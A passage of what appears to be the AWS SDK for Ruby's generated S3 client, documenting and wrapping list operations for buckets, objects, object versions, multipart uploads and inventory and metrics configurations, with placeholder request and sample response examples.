# list, `IsTruncated` is set to true, and there is a value in
# `NextContinuationToken`. You use the `NextContinuationToken` value to
# continue the pagination of the list by passing the value in
# continuation-token in the request to `GET` the next page.
#
# To use this operation, you must have permissions to perform the
# `s3:GetInventoryConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about the Amazon S3 inventory feature, see [Amazon S3
# Inventory][3]
#
# The following operations are related to
# `ListBucketInventoryConfigurations`\:
#
# * GetBucketInventoryConfiguration
#
# * DeleteBucketInventoryConfiguration
#
# * PutBucketInventoryConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the inventory configurations to
# retrieve.
#
# @option params [String] :continuation_token
# The marker used to continue an inventory configuration listing that
# has been truncated. Use the NextContinuationToken from a previously
# truncated list response to continue the listing. The continuation
# token is an opaque value that Amazon S3 understands.
#
# @return [Types::ListBucketInventoryConfigurationsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListBucketInventoryConfigurationsOutput#continuation_token #continuation_token} => String
# * {Types::ListBucketInventoryConfigurationsOutput#inventory_configuration_list #inventory_configuration_list} => Array<Types::InventoryConfiguration>
# * {Types::ListBucketInventoryConfigurationsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListBucketInventoryConfigurationsOutput#next_continuation_token #next_continuation_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.list_bucket_inventory_configurations({
# bucket: "BucketName", # required
# continuation_token: "Token",
# })
#
# @example Response structure
#
# resp.continuation_token #=> String
# resp.inventory_configuration_list #=> Array
# resp.inventory_configuration_list[0].destination.s3_bucket_destination.account_id #=> String
# resp.inventory_configuration_list[0].destination.s3_bucket_destination.bucket #=> String
# resp.inventory_configuration_list[0].destination.s3_bucket_destination.format #=> String, one of "CSV", "ORC", "Parquet"
# resp.inventory_configuration_list[0].destination.s3_bucket_destination.prefix #=> String
# resp.inventory_configuration_list[0].destination.s3_bucket_destination.encryption.ssekms.key_id #=> String
# resp.inventory_configuration_list[0].is_enabled #=> Boolean
# resp.inventory_configuration_list[0].filter.prefix #=> String
# resp.inventory_configuration_list[0].id #=> String
# resp.inventory_configuration_list[0].included_object_versions #=> String, one of "All", "Current"
# resp.inventory_configuration_list[0].optional_fields #=> Array
# resp.inventory_configuration_list[0].optional_fields[0] #=> String, one of "Size", "LastModifiedDate", "StorageClass", "ETag", "IsMultipartUploaded", "ReplicationStatus", "EncryptionStatus", "ObjectLockRetainUntilDate", "ObjectLockMode", "ObjectLockLegalHoldStatus", "IntelligentTieringAccessTier"
# resp.inventory_configuration_list[0].schedule.frequency #=> String, one of "Daily", "Weekly"
# resp.is_truncated #=> Boolean
# resp.next_continuation_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketInventoryConfigurations AWS API Documentation
#
# @overload list_bucket_inventory_configurations(params = {})
# @param [Hash] params ({})
def list_bucket_inventory_configurations(params = {}, options = {})
req = build_request(:list_bucket_inventory_configurations, params)
req.send_request(options)
end
# Lists the metrics configurations for the bucket. The metrics
# configurations are only for the request metrics of the bucket and do
# not provide information on daily storage metrics. You can have up to
# 1,000 configurations per bucket.
#
# This operation supports list pagination and does not return more than
# 100 configurations at a time. Always check the `IsTruncated` element
# in the response. If there are no more configurations to list,
# `IsTruncated` is set to false. If there are more configurations to
# list, `IsTruncated` is set to true, and there is a value in
# `NextContinuationToken`. You use the `NextContinuationToken` value to
# continue the pagination of the list by passing the value in
# `continuation-token` in the request to `GET` the next page.
#
# To use this operation, you must have permissions to perform the
# `s3:GetMetricsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For more information about metrics configurations and CloudWatch
# request metrics, see [Monitoring Metrics with Amazon CloudWatch][3].
#
# The following operations are related to
# `ListBucketMetricsConfigurations`\:
#
# * PutBucketMetricsConfiguration
#
# * GetBucketMetricsConfiguration
#
# * DeleteBucketMetricsConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cloudwatch-monitoring.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the metrics configurations to
# retrieve.
#
# @option params [String] :continuation_token
# The marker that is used to continue a metrics configuration listing
# that has been truncated. Use the NextContinuationToken from a
# previously truncated list response to continue the listing. The
# continuation token is an opaque value that Amazon S3 understands.
#
# @return [Types::ListBucketMetricsConfigurationsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListBucketMetricsConfigurationsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListBucketMetricsConfigurationsOutput#continuation_token #continuation_token} => String
# * {Types::ListBucketMetricsConfigurationsOutput#next_continuation_token #next_continuation_token} => String
# * {Types::ListBucketMetricsConfigurationsOutput#metrics_configuration_list #metrics_configuration_list} => Array<Types::MetricsConfiguration>
#
# @example Request syntax with placeholder values
#
# resp = client.list_bucket_metrics_configurations({
# bucket: "BucketName", # required
# continuation_token: "Token",
# })
#
# @example Response structure
#
# resp.is_truncated #=> Boolean
# resp.continuation_token #=> String
# resp.next_continuation_token #=> String
# resp.metrics_configuration_list #=> Array
# resp.metrics_configuration_list[0].id #=> String
# resp.metrics_configuration_list[0].filter.prefix #=> String
# resp.metrics_configuration_list[0].filter.tag.key #=> String
# resp.metrics_configuration_list[0].filter.tag.value #=> String
# resp.metrics_configuration_list[0].filter.and.prefix #=> String
# resp.metrics_configuration_list[0].filter.and.tags #=> Array
# resp.metrics_configuration_list[0].filter.and.tags[0].key #=> String
# resp.metrics_configuration_list[0].filter.and.tags[0].value #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketMetricsConfigurations AWS API Documentation
#
# @overload list_bucket_metrics_configurations(params = {})
# @param [Hash] params ({})
def list_bucket_metrics_configurations(params = {}, options = {})
req = build_request(:list_bucket_metrics_configurations, params)
req.send_request(options)
end
# Returns a list of all buckets owned by the authenticated sender of the
# request.
#
# @return [Types::ListBucketsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListBucketsOutput#buckets #buckets} => Array<Types::Bucket>
# * {Types::ListBucketsOutput#owner #owner} => Types::Owner
#
#
# @example Example: To list object versions
#
# # The following example return versions of an object with specific key name prefix. The request limits the number of items
# # returned to two. If there are are more than two object version, S3 returns NextToken in the response. You can specify
# # this token value in your next request to fetch next set of object versions.
#
# resp = client.list_buckets({
# })
#
# resp.to_h outputs the following:
# {
# buckets: [
# {
# creation_date: Time.parse("2012-02-15T21: 03: 02.000Z"),
# name: "examplebucket",
# },
# {
# creation_date: Time.parse("2011-07-24T19: 33: 50.000Z"),
# name: "examplebucket2",
# },
# {
# creation_date: Time.parse("2010-12-17T00: 56: 49.000Z"),
# name: "examplebucket3",
# },
# ],
# owner: {
# display_name: "own-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31",
# },
# }
#
# @example Response structure
#
# resp.buckets #=> Array
# resp.buckets[0].name #=> String
# resp.buckets[0].creation_date #=> Time
# resp.owner.display_name #=> String
# resp.owner.id #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBuckets AWS API Documentation
#
# @overload list_buckets(params = {})
# @param [Hash] params ({})
def list_buckets(params = {}, options = {})
req = build_request(:list_buckets, params)
req.send_request(options)
end
# This operation lists in-progress multipart uploads. An in-progress
# multipart upload is a multipart upload that has been initiated using
# the Initiate Multipart Upload request, but has not yet been completed
# or aborted.
#
# This operation returns at most 1,000 multipart uploads in the
# response. 1,000 multipart uploads is the maximum number of uploads a
# response can include, which is also the default value. You can further
# limit the number of uploads in a response by specifying the
# `max-uploads` parameter in the response. If additional multipart
# uploads satisfy the list criteria, the response will contain an
# `IsTruncated` element with the value true. To list the additional
# multipart uploads, use the `key-marker` and `upload-id-marker` request
# parameters.
#
# In the response, the uploads are sorted by key. If your application
# has initiated more than one multipart upload using the same object
# key, then uploads in the response are first sorted by key.
# Additionally, uploads are sorted in ascending order within each key by
# the upload initiation time.
#
# For more information on multipart uploads, see [Uploading Objects
# Using Multipart Upload][1].
#
# For information on permissions required to use the multipart upload
# API, see [Multipart Upload API and Permissions][2].
#
# The following operations are related to `ListMultipartUploads`\:
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * ListParts
#
# * AbortMultipartUpload
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/uploadobjusingmpu.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
#
# @option params [required, String] :bucket
# Name of the bucket to which the multipart upload was initiated.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :delimiter
# Character you use to group keys.
#
# All keys that contain the same string between the prefix, if
# specified, and the first occurrence of the delimiter after the prefix
# are grouped under a single result element, `CommonPrefixes`. If you
# don't specify the prefix parameter, then the substring starts at the
# beginning of the key. The keys that are grouped under `CommonPrefixes`
# result element are not returned elsewhere in the response.
#
# @option params [String] :encoding_type
# Requests Amazon S3 to encode the object keys in the response and
# specifies the encoding method to use. An object key may contain any
# Unicode character; however, XML 1.0 parser cannot parse some
# characters, such as characters with an ASCII value from 0 to 10. For
# characters that are not supported in XML 1.0, you can add this
# parameter to request that Amazon S3 encode the keys in the response.
#
# @option params [String] :key_marker
# Together with upload-id-marker, this parameter specifies the multipart
# upload after which listing should begin.
#
# If `upload-id-marker` is not specified, only the keys
# lexicographically greater than the specified `key-marker` will be
# included in the list.
#
# If `upload-id-marker` is specified, any multipart uploads for a key
# equal to the `key-marker` might also be included, provided those
# multipart uploads have upload IDs lexicographically greater than the
# specified `upload-id-marker`.
#
# @option params [Integer] :max_uploads
# Sets the maximum number of multipart uploads, from 1 to 1,000, to
# return in the response body. 1,000 is the maximum number of uploads
# that can be returned in a response.
#
# @option params [String] :prefix
# Lists in-progress uploads only for those keys that begin with the
# specified prefix. You can use prefixes to separate a bucket into
# different grouping of keys. (You can think of using prefix to make
# groups in the same way you'd use a folder in a file system.)
#
# @option params [String] :upload_id_marker
# Together with key-marker, specifies the multipart upload after which
# listing should begin. If key-marker is not specified, the
# upload-id-marker parameter is ignored. Otherwise, any multipart
# uploads for a key equal to the key-marker might be included in the
# list only if they have an upload ID lexicographically greater than the
# specified `upload-id-marker`.
#
# @return [Types::ListMultipartUploadsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListMultipartUploadsOutput#bucket #bucket} => String
# * {Types::ListMultipartUploadsOutput#key_marker #key_marker} => String
# * {Types::ListMultipartUploadsOutput#upload_id_marker #upload_id_marker} => String
# * {Types::ListMultipartUploadsOutput#next_key_marker #next_key_marker} => String
# * {Types::ListMultipartUploadsOutput#prefix #prefix} => String
# * {Types::ListMultipartUploadsOutput#delimiter #delimiter} => String
# * {Types::ListMultipartUploadsOutput#next_upload_id_marker #next_upload_id_marker} => String
# * {Types::ListMultipartUploadsOutput#max_uploads #max_uploads} => Integer
# * {Types::ListMultipartUploadsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListMultipartUploadsOutput#uploads #uploads} => Array<Types::MultipartUpload>
# * {Types::ListMultipartUploadsOutput#common_prefixes #common_prefixes} => Array<Types::CommonPrefix>
# * {Types::ListMultipartUploadsOutput#encoding_type #encoding_type} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
#
# @example Example: List next set of multipart uploads when previous result is truncated
#
# # The following example specifies the upload-id-marker and key-marker from previous truncated response to retrieve next
# # setup of multipart uploads.
#
# resp = client.list_multipart_uploads({
# bucket: "examplebucket",
# key_marker: "nextkeyfrompreviousresponse",
# max_uploads: 2,
# upload_id_marker: "valuefrompreviousresponse",
# })
#
# resp.to_h outputs the following:
# {
# bucket: "acl1",
# is_truncated: true,
# key_marker: "",
# max_uploads: 2,
# next_key_marker: "someobjectkey",
# next_upload_id_marker: "examplelo91lv1iwvWpvCiJWugw2xXLPAD7Z8cJyX9.WiIRgNrdG6Ldsn.9FtS63TCl1Uf5faTB.1U5Ckcbmdw--",
# upload_id_marker: "",
# uploads: [
# {
# initiated: Time.parse("2014-05-01T05:40:58.000Z"),
# initiator: {
# display_name: "ownder-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# key: "JavaFile",
# owner: {
# display_name: "mohanataws",
# id: "852b113e7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# storage_class: "STANDARD",
# upload_id: "gZ30jIqlUa.CInXklLQtSMJITdUnoZ1Y5GACB5UckOtspm5zbDMCkPF_qkfZzMiFZ6dksmcnqxJyIBvQMG9X9Q--",
# },
# {
# initiated: Time.parse("2014-05-01T05:41:27.000Z"),
# initiator: {
# display_name: "ownder-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# key: "JavaFile",
# owner: {
# display_name: "ownder-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# storage_class: "STANDARD",
# upload_id: "b7tZSqIlo91lv1iwvWpvCiJWugw2xXLPAD7Z8cJyX9.WiIRgNrdG6Ldsn.9FtS63TCl1Uf5faTB.1U5Ckcbmdw--",
# },
# ],
# }
#
# @example Example: To list in-progress multipart uploads on a bucket
#
# # The following example lists in-progress multipart uploads on a specific bucket.
#
# resp = client.list_multipart_uploads({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# uploads: [
# {
# initiated: Time.parse("2014-05-01T05:40:58.000Z"),
# initiator: {
# display_name: "display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# key: "JavaFile",
# owner: {
# display_name: "display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# storage_class: "STANDARD",
# upload_id: "examplelUa.CInXklLQtSMJITdUnoZ1Y5GACB5UckOtspm5zbDMCkPF_qkfZzMiFZ6dksmcnqxJyIBvQMG9X9Q--",
# },
# {
# initiated: Time.parse("2014-05-01T05:41:27.000Z"),
# initiator: {
# display_name: "display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# key: "JavaFile",
# owner: {
# display_name: "display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# storage_class: "STANDARD",
# upload_id: "examplelo91lv1iwvWpvCiJWugw2xXLPAD7Z8cJyX9.WiIRgNrdG6Ldsn.9FtS63TCl1Uf5faTB.1U5Ckcbmdw--",
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.list_multipart_uploads({
# bucket: "BucketName", # required
# delimiter: "Delimiter",
# encoding_type: "url", # accepts url
# key_marker: "KeyMarker",
# max_uploads: 1,
# prefix: "Prefix",
# upload_id_marker: "UploadIdMarker",
# })
#
# @example Response structure
#
# resp.bucket #=> String
# resp.key_marker #=> String
# resp.upload_id_marker #=> String
# resp.next_key_marker #=> String
# resp.prefix #=> String
# resp.delimiter #=> String
# resp.next_upload_id_marker #=> String
# resp.max_uploads #=> Integer
# resp.is_truncated #=> Boolean
# resp.uploads #=> Array
# resp.uploads[0].upload_id #=> String
# resp.uploads[0].key #=> String
# resp.uploads[0].initiated #=> Time
# resp.uploads[0].storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "GLACIER", "DEEP_ARCHIVE"
# resp.uploads[0].owner.display_name #=> String
# resp.uploads[0].owner.id #=> String
# resp.uploads[0].initiator.id #=> String
# resp.uploads[0].initiator.display_name #=> String
# resp.common_prefixes #=> Array
# resp.common_prefixes[0].prefix #=> String
# resp.encoding_type #=> String, one of "url"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListMultipartUploads AWS API Documentation
#
# @overload list_multipart_uploads(params = {})
# @param [Hash] params ({})
def list_multipart_uploads(params = {}, options = {})
req = build_request(:list_multipart_uploads, params)
req.send_request(options)
end
# Returns metadata about all of the versions of objects in a bucket. You
# can also use request parameters as selection criteria to return
# metadata about a subset of all the object versions.
#
# <note markdown="1"> A 200 OK response can contain valid or invalid XML. Make sure to
# design your application to parse the contents of the response and
# handle it appropriately.
#
# </note>
#
# To use this operation, you must have READ access to the bucket.
#
# The following operations are related to `ListObjectVersions`\:
#
# * ListObjectsV2
#
# * GetObject
#
# * PutObject
#
# * DeleteObject
#
# @option params [required, String] :bucket
# The bucket name that contains the objects.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :delimiter
# A delimiter is a character that you specify to group keys. All keys
# that contain the same string between the `prefix` and the first
# occurrence of the delimiter are grouped under a single result element
# in CommonPrefixes. These groups are counted as one result against the
# max-keys limitation. These keys are not returned elsewhere in the
# response.
#
# @option params [String] :encoding_type
# Requests Amazon S3 to encode the object keys in the response and
# specifies the encoding method to use. An object key may contain any
# Unicode character; however, XML 1.0 parser cannot parse some
# characters, such as characters with an ASCII value from 0 to 10. For
# characters that are not supported in XML 1.0, you can add this
# parameter to request that Amazon S3 encode the keys in the response.
#
# @option params [String] :key_marker
# Specifies the key to start with when listing objects in a bucket.
#
# @option params [Integer] :max_keys
# Sets the maximum number of keys returned in the response. By default
# the API returns up to 1,000 key names. The response might contain
# fewer keys but will never contain more. If additional keys satisfy the
# search criteria, but were not returned because max-keys was exceeded,
# the response contains <isTruncated>true</isTruncated>. To
# return the additional keys, see key-marker and version-id-marker.
#
# @option params [String] :prefix
# Use this parameter to select only those keys that begin with the
# specified prefix. You can use prefixes to separate a bucket into
# different groupings of keys. (You can think of using prefix to make
# groups in the same way you'd use a folder in a file system.) You can
# use prefix with delimiter to roll up numerous objects into a single
# result under CommonPrefixes.
#
# @option params [String] :version_id_marker
# Specifies the object version you want to start listing from.
#
# @return [Types::ListObjectVersionsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListObjectVersionsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListObjectVersionsOutput#key_marker #key_marker} => String
# * {Types::ListObjectVersionsOutput#version_id_marker #version_id_marker} => String
# * {Types::ListObjectVersionsOutput#next_key_marker #next_key_marker} => String
# * {Types::ListObjectVersionsOutput#next_version_id_marker #next_version_id_marker} => String
# * {Types::ListObjectVersionsOutput#versions #versions} => Array<Types::ObjectVersion>
# * {Types::ListObjectVersionsOutput#delete_markers #delete_markers} => Array<Types::DeleteMarkerEntry>
# * {Types::ListObjectVersionsOutput#name #name} => String
# * {Types::ListObjectVersionsOutput#prefix #prefix} => String
# * {Types::ListObjectVersionsOutput#delimiter #delimiter} => String
# * {Types::ListObjectVersionsOutput#max_keys #max_keys} => Integer
# * {Types::ListObjectVersionsOutput#common_prefixes #common_prefixes} => Array<Types::CommonPrefix>
# * {Types::ListObjectVersionsOutput#encoding_type #encoding_type} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
#
# @example Example: To list object versions
#
# # The following example return versions of an object with specific key name prefix. The request limits the number of items
# # returned to two. If there are are more than two object version, S3 returns NextToken in the response. You can specify
# # this token value in your next request to fetch next set of object versions.
#
# resp = client.list_object_versions({
# bucket: "examplebucket",
# prefix: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# versions: [
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# is_latest: true,
# key: "HappyFace.jpg",
# last_modified: Time.parse("2016-12-15T01:19:41.000Z"),
# owner: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# size: 3191,
# storage_class: "STANDARD",
# version_id: "null",
# },
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# is_latest: false,
# key: "HappyFace.jpg",
# last_modified: Time.parse("2016-12-13T00:58:26.000Z"),
# owner: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# size: 3191,
# storage_class: "STANDARD",
# version_id: "PHtexPGjH2y.zBgT8LmB7wwLI2mpbz.k",
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.list_object_versions({
# bucket: "BucketName", # required
# delimiter: "Delimiter",
# encoding_type: "url", # accepts url
# key_marker: "KeyMarker",
# max_keys: 1,
# prefix: "Prefix",
# version_id_marker: "VersionIdMarker",
# })
#
# @example Response structure
#
# resp.is_truncated #=> Boolean
# resp.key_marker #=> String
# resp.version_id_marker #=> String
# resp.next_key_marker #=> String
# resp.next_version_id_marker #=> String
# resp.versions #=> Array
# resp.versions[0].etag #=> String
# resp.versions[0].size #=> Integer
# resp.versions[0].storage_class #=> String, one of "STANDARD"
# resp.versions[0].key #=> String
# resp.versions[0].version_id #=> String
# resp.versions[0].is_latest #=> Boolean
# resp.versions[0].last_modified #=> Time
# resp.versions[0].owner.display_name #=> String
# resp.versions[0].owner.id #=> String
# resp.delete_markers #=> Array
# resp.delete_markers[0].owner.display_name #=> String
# resp.delete_markers[0].owner.id #=> String
# resp.delete_markers[0].key #=> String
# resp.delete_markers[0].version_id #=> String
# resp.delete_markers[0].is_latest #=> Boolean
# resp.delete_markers[0].last_modified #=> Time
# resp.name #=> String
# resp.prefix #=> String
# resp.delimiter #=> String
# resp.max_keys #=> Integer
# resp.common_prefixes #=> Array
# resp.common_prefixes[0].prefix #=> String
# resp.encoding_type #=> String, one of "url"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectVersions AWS API Documentation
#
# @overload list_object_versions(params = {})
# @param [Hash] params ({})
def list_object_versions(params = {}, options = {})
req = build_request(:list_object_versions, params)
req.send_request(options)
end
# Returns some or all (up to 1,000) of the objects in a bucket. You can
# use the request parameters as selection criteria to return a subset of
# the objects in a bucket. A 200 OK response can contain valid or
# invalid XML. Be sure to design your application to parse the contents
# of the response and handle it appropriately.
#
# This API has been revised. We recommend that you use the newer
# version, ListObjectsV2, when developing applications. For backward
# compatibility, Amazon S3 continues to support `ListObjects`.
#
# The following operations are related to `ListObjects`\:
#
# * ListObjectsV2
#
# * GetObject
#
# * PutObject
#
# * CreateBucket
#
# * ListBuckets
#
# @option params [required, String] :bucket
# The name of the bucket containing the objects.
#
# @option params [String] :delimiter
# A delimiter is a character you use to group keys.
#
# @option params [String] :encoding_type
# Requests Amazon S3 to encode the object keys in the response and
# specifies the encoding method to use. An object key may contain any
# Unicode character; however, XML 1.0 parser cannot parse some
# characters, such as characters with an ASCII value from 0 to 10. For
# characters that are not supported in XML 1.0, you can add this
# parameter to request that Amazon S3 encode the keys in the response.
#
# @option params [String] :marker
# Specifies the key to start with when listing objects in a bucket.
#
# @option params [Integer] :max_keys
# Sets the maximum number of keys returned in the response. By default
# the API returns up to 1,000 key names. The response might contain
# fewer keys but will never contain more.
#
# @option params [String] :prefix
# Limits the response to keys that begin with the specified prefix.
#
# @option params [String] :request_payer
# Confirms that the requester knows that she or he will be charged for
# the list objects request. Bucket owners need not specify this
# parameter in their requests.
#
# @return [Types::ListObjectsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListObjectsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListObjectsOutput#marker #marker} => String
# * {Types::ListObjectsOutput#next_marker #next_marker} => String
# * {Types::ListObjectsOutput#contents #contents} => Array<Types::Object>
# * {Types::ListObjectsOutput#name #name} => String
# * {Types::ListObjectsOutput#prefix #prefix} => String
# * {Types::ListObjectsOutput#delimiter #delimiter} => String
# * {Types::ListObjectsOutput#max_keys #max_keys} => Integer
# * {Types::ListObjectsOutput#common_prefixes #common_prefixes} => Array<Types::CommonPrefix>
# * {Types::ListObjectsOutput#encoding_type #encoding_type} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
#
# @example Example: To list objects in a bucket
#
# # The following example list two objects in a bucket.
#
# resp = client.list_objects({
# bucket: "examplebucket",
# max_keys: 2,
# })
#
# resp.to_h outputs the following:
# {
# contents: [
# {
# etag: "\"70ee1738b6b21e2c8a43f3a5ab0eee71\"",
# key: "example1.jpg",
# last_modified: Time.parse("2014-11-21T19:40:05.000Z"),
# owner: {
# display_name: "myname",
# id: "12345example25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# size: 11,
# storage_class: "STANDARD",
# },
# {
# etag: "\"9c8af9a76df052144598c115ef33e511\"",
# key: "example2.jpg",
# last_modified: Time.parse("2013-11-15T01:10:49.000Z"),
# owner: {
# display_name: "myname",
# id: "12345example25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# size: 713193,
# storage_class: "STANDARD",
# },
# ],
# next_marker: "eyJNYXJrZXIiOiBudWxsLCAiYm90b190cnVuY2F0ZV9hbW91bnQiOiAyfQ==",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.list_objects({
# bucket: "BucketName", # required
# delimiter: "Delimiter",
# encoding_type: "url", # accepts url
# marker: "Marker",
# max_keys: 1,
# prefix: "Prefix",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.is_truncated #=> Boolean
# resp.marker #=> String
# resp.next_marker #=> String
# resp.contents #=> Array
# resp.contents[0].key #=> String
# resp.contents[0].last_modified #=> Time
# resp.contents[0].etag #=> String
# resp.contents[0].size #=> Integer
# resp.contents[0].storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.contents[0].owner.display_name #=> String
# resp.contents[0].owner.id #=> String
# resp.name #=> String
# resp.prefix #=> String
# resp.delimiter #=> String
# resp.max_keys #=> Integer
# resp.common_prefixes #=> Array
# resp.common_prefixes[0].prefix #=> String
# resp.encoding_type #=> String, one of "url"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjects AWS API Documentation
#
# @overload list_objects(params = {})
# @param [Hash] params ({})
def list_objects(params = {}, options = {})
req = build_request(:list_objects, params)
req.send_request(options)
end
# Returns some or all (up to 1,000) of the objects in a bucket. You can
# use the request parameters as selection criteria to return a subset of
# the objects in a bucket. A `200 OK` response can contain valid or
# invalid XML. Make sure to design your application to parse the
# contents of the response and handle it appropriately.
#
# To use this operation, you must have READ access to the bucket.
#
# To use this operation in an AWS Identity and Access Management (IAM)
# policy, you must have permissions to perform the `s3:ListBucket`
# action. The bucket owner has this permission by default and can grant
# this permission to others. For more information about permissions, see
# [Permissions Related to Bucket Subresource Operations][1] and
# [Managing Access Permissions to Your Amazon S3 Resources][2].
#
# This section describes the latest revision of the API. We recommend
# that you use this revised API for application development. For
# backward compatibility, Amazon S3 continues to support the prior
# version of this API, ListObjects.
#
# To get a list of your buckets, see ListBuckets.
#
# The following operations are related to `ListObjectsV2`\:
#
# * GetObject
#
# * PutObject
#
# * CreateBucket
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# Bucket name to list.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :delimiter
# A delimiter is a character you use to group keys.
#
# @option params [String] :encoding_type
# Encoding type used by Amazon S3 to encode object keys in the response.
#
# @option params [Integer] :max_keys
# Sets the maximum number of keys returned in the response. By default
# the API returns up to 1,000 key names. The response might contain
# fewer keys but will never contain more.
#
# @option params [String] :prefix
# Limits the response to keys that begin with the specified prefix.
#
# @option params [String] :continuation_token
# ContinuationToken indicates Amazon S3 that the list is being continued
